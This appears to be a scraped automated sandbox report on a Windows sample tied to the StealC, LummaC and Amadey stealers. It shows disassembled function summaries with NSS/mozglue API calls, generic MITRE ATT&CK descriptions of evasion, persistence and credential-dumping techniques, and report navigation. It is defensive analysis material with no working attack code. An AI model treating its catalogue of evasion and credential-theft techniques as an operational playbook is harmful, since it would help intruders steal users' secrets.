Instruction Fuzzy Hash: 96F0C8B16012225BEB014B59DC849177798EF55399F14D1B4ED0D8BB01E721D815C7EA

Function 6C6FCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C6FCC61
free.MOZGLUE ref: 6C6FCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C6FCC80
free.MOZGLUE(?), ref: 6C6FCC87

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 6f93d95d85f188c9703dd696c836feb72198c4f734742ef2e389db3d82db2859
Instruction ID: c0ea9bfac4fd1f6893275ad9284dd1e0df69d64e29042055781c5c2d1642f1f8
Opcode Fuzzy Hash: 6f93d95d85f188c9703dd696c836feb72198c4f734742ef2e389db3d82db2859
Instruction Fuzzy Hash: CEE030767006189BCA10EFA8DC4488677ACEE492723150665E695C3700D231F905CBA1

Function 6C5D9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C5D9E1F

Part of subcall function 6C5913C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C562352,?,00000000,?,?), ref: 6C591413
Part of subcall function 6C5913C0: memcpy.VCRUNTIME140(00000000,R#Vl,00000002,?,?,?,?,6C562352,?,00000000,?,?), ref: 6C5914C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C5DA006
ESCAPE expression must be a single character, xrefs: 6C5D9F78

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: cb330be80d6710698d87ff832a8ca6d1cfd6b3dd9122c73489fffd8874b14336
Instruction ID: 250cbfcfcabd8f8d58cb49051d5af5ae1fc2bd1619803dde93ae46e1490f7f97
Opcode Fuzzy Hash: cb330be80d6710698d87ff832a8ca6d1cfd6b3dd9122c73489fffd8874b14336
Instruction Fuzzy Hash: 17811E70A043568BD701CF2DC8A03AE77F2EF85318F1A8659D8A48BB81DB31F846C785

Function 6C655860 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD037,00000000), ref: 6C6559C8

Part of subcall function 6C657EE0: PR_SetError.NSS3(00000000,00000000,00000002,?,?), ref: 6C657F30

PR_SetError.NSS3(FFFFD0AE,00000000), ref: 6C6559E9

Part of subcall function 6C65AA40: PR_SetError.NSS3(00000000,00000000,00000008,?,?), ref: 6C65AAA2

Strings

nol, xrefs: 6C655963

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Error
String ID: nol
API String ID: 2619118453-122615315
Opcode ID: 6da5cfc28900e73a4f3ed0d858d3eadbf85d84866286afab0f6b87cba7adf924
Instruction ID: ef328cef3f3c36eed8cc5d97d1acf324ee4c4e848a377aa044365f1141ef3a1b
Opcode Fuzzy Hash: 6da5cfc28900e73a4f3ed0d858d3eadbf85d84866286afab0f6b87cba7adf924
Instruction Fuzzy Hash: 9341D3B15083419FD710DF14DC85B9B73A8AF44328FA44629FD499B682E734E918CBEA

Function 6C634D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C634D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C634DE6

Strings

%d.%d, xrefs: 6C634DDE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 692254c8d63acc085a1b1f7812eebe3288ea47bdfc3f11ec215a3d348919a702
Instruction ID: bf975c0f5243756d79f8e6d0daba19eef46100509b19381f5e6cc26aa0260b4b
Opcode Fuzzy Hash: 692254c8d63acc085a1b1f7812eebe3288ea47bdfc3f11ec215a3d348919a702
Instruction Fuzzy Hash: 4C3102B1D042286BEB115B619C01BFF7B7CDF41308F052469ED1D97781EB719909CBA9

Function 6C654CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8el,00000000,00000000,?,?,6C653827,?,00000000), ref: 6C654D0A

Part of subcall function 6C640840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6408B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C654D22

Part of subcall function 6C63FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C5E1A3E,00000048,00000054), ref: 6C63FD56

Strings

'8el, xrefs: 6C654D07

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8el
API String ID: 1521942269-1784106530
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 846e08831ea3a62b089e0fb67ca4ae24060c52f3d237deaf9ad7b4c696bf1ab3
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 72F0683260112467DB104E6AAC4075336DC9B417BDF6403B1DD58CB791E6E1CC308695

Function 6C67AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C67AF78

Part of subcall function 6C5DACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DACE2
Part of subcall function 6C5DACC0: malloc.MOZGLUE(00000001), ref: 6C5DACEC
Part of subcall function 6C5DACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5DAD02
Part of subcall function 6C5DACC0: TlsGetValue.KERNEL32 ref: 6C5DAD3C
Part of subcall function 6C5DACC0: calloc.MOZGLUE(00000001,?), ref: 6C5DAD8C
Part of subcall function 6C5DACC0: PR_Unlock.NSS3 ref: 6C5DADC0
Part of subcall function 6C5DACC0: PR_Unlock.NSS3 ref: 6C5DAE8C
Part of subcall function 6C5DACC0: free.MOZGLUE(?), ref: 6C5DAEAB

memcpy.VCRUNTIME140(6C743084,6C7402AC,00000090), ref: 6C67AF94

Strings

SSL, xrefs: 6C67AF73

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: f89e534a48cc35c7574939e70a3312af9ed5110a579dc4222db3d6454ade0d53
Instruction ID: 3345bc679df97b90f4d856bf395e93cd2cd1ebaaf83e23921c8ca67d3a2ca01d
Opcode Fuzzy Hash: f89e534a48cc35c7574939e70a3312af9ed5110a579dc4222db3d6454ade0d53
Instruction Fuzzy Hash: 5C2162B2205A48AA8B20FF51A9473527A72B75220EF20CA2AC11D4BB38D73140549FE9

Function 6C5D0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F1B

Part of subcall function 6C5D1370: GetSystemInfo.KERNEL32(?,?,?,?,6C5D0936,?,6C5D0F20,6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000), ref: 6C5D138F

PR_NewLogModule.NSS3(clock,6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F25

Part of subcall function 6C5D1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C5D0936,00000001,00000040), ref: 6C5D1130
Part of subcall function 6C5D1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D0936,00000001,00000040), ref: 6C5D1142
Part of subcall function 6C5D1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D0936,00000001), ref: 6C5D1167

Strings

clock, xrefs: 6C5D0F20

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: bd7a156ef0f09f89c3aeaa7653e4b1cd8883d24a5cfabd974bbbce0e53a717a7
Instruction ID: 4b0e64fa4ea2c8c5dc631ae8bd29fd1631cf9fc9ff1f11740a02290c9bd39847
Opcode Fuzzy Hash: bd7a156ef0f09f89c3aeaa7653e4b1cd8883d24a5cfabd974bbbce0e53a717a7
Instruction Fuzzy Hash: 27D0123164434496C62176DF9C45B97B6ECC7C36BFF158837E10881E204A64A4EAD2AD

Function 6C640DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C640DF5
TlsGetValue.KERNEL32 ref: 6C640E2D
TlsGetValue.KERNEL32 ref: 6C640E58
TlsGetValue.KERNEL32 ref: 6C640E84

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 04fd251185de72dbdd1f412a9abdbf0041997308c2c52f721ca3e176256dc05e
Instruction ID: e3ca15243f5f39b11868d10c4e1c7bbd28647757b0aef8fce27598c760060c40
Opcode Fuzzy Hash: 04fd251185de72dbdd1f412a9abdbf0041997308c2c52f721ca3e176256dc05e
Instruction Fuzzy Hash: 0F31BA706443A1CBD710AF3CC544A9977B4FF55309F11C67AD89887A11DB34D4A6CB8A

Function 6C640F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C5E2AF5,?,?,?,?,?,6C5E0A1B,00000000), ref: 6C640F1A
malloc.MOZGLUE(00000001), ref: 6C640F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C640F42
TlsGetValue.KERNEL32 ref: 6C640F5B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 313f57ddbc737f1668cb906b0c33e73524dcc2fddef6dbf6e40e946f7e9d22c5
Instruction ID: 9c653dd9580d68b22a806cfac1ba543dbb5441e37de3a320b3cd228fac704353
Opcode Fuzzy Hash: 313f57ddbc737f1668cb906b0c33e73524dcc2fddef6dbf6e40e946f7e9d22c5
Instruction Fuzzy Hash: 5801DDB1A1026097E750373E9D445967AACEFA2259F01C272DC1CC7A21EB30D855C6DA

Function 6C5F1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C5F1ECE
free.MOZGLUE(?), ref: 6C5F1EDF
free.MOZGLUE(?), ref: 6C5F1EEF
free.MOZGLUE(?), ref: 6C5F1EF5

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b0b9d0061cbcf1fec8ebedfb65abdb70fd52d7a73a156bb3bad2f43820d684be
Instruction ID: 1b567be9e586d778983ad87d8101028ad74021281045630454062b923a727644
Opcode Fuzzy Hash: b0b9d0061cbcf1fec8ebedfb65abdb70fd52d7a73a156bb3bad2f43820d684be
Instruction Fuzzy Hash: 45F0E9F17001056BEB10DB65DC45D27776CFF45296B040434ED1DC3A00D725F4119BB1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

